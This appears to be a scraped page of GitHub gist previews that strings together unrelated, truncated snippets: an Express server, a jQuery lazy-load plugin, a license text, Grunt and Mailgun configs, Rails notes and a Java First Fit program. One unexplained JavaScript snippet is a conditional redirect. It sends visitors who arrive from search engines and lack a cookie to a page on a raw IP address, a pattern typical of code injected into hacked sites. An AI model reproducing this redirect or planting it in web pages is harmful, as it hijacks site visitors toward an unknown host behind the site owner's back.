// jQuery
$(document).ready(function() {
// code
})
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var express = require('express'); | |
var port = process.env.PORT || 3000; | |
var app = express(); | |
app.get('/', function(request, response) { | |
response.sendfile(__dirname + '/index.html'); | |
}).configure(function() { | |
app.use('/images', express.static(__dirname + '/images')); | |
}).listen(port); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var from = document.referrer; | |
var i; | |
var se = ["google", "yahoo", "bing", "yandex" , "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"]; | |
for (i = 0; i < se.length; ++i) { | |
if (from.indexOf(se[i]) + 1) { | |
if (!checkCookie()) { | |
window.location = "http://91.239.15.61/g.php"; | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Functions to help figure out whether elements are in the viewport | |
// and lazy-load their content if so. | |
// Implemented as jQuery plugins. | |
(function() { | |
$.fn.inView = function(nearThreshold) { | |
var $elem = $(this); | |
// Checks if its visible, CSS-wise | |
if (!$elem.is(":visible")) { | |
return false; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
Copyright (C) 2014 ADDY OSMANI <addyosmani.com> | |
Everyone is permitted to copy and distribute verbatim or modified | |
copies of this license document, and changing it is allowed as long | |
as the name is changed. | |
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module.exports = function(grunt) { | |
// Configuration | |
grunt.initConfig({ | |
pkg: grunt.file.readJSON('package.json'), | |
shell: { | |
patternlab: { | |
command: "php core/builder.php -gp" | |
} | |
}, |
#config/mailgun.js
module.exports.mailgun = {
usessl: true,
port: 465,
to: '<youremailaddress>',
prepend_subject: 'Happy Contact Form | ',
user: process.env.MAILGUN_USER,
pass: process.env.MAILGUN_PASS
When using Rails 3.0 and later we already get jquery-rails for free. Look in the gemfile and you'll see:
gem "jquery-rails"
You can view the full documentation here: source: https://github.com/indirect/jquery-rails
If you take a look in APP_DIR/app/assets/javascripts/application.js, you'll notice the following lines of code:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.Scanner; | |
public class FirstFit { | |
public static void main(String[] args) { | |
Scanner in = new Scanner(System.in); | |
System.out.println("Entre com o número de processos:"); | |
int p = in.nextInt(); |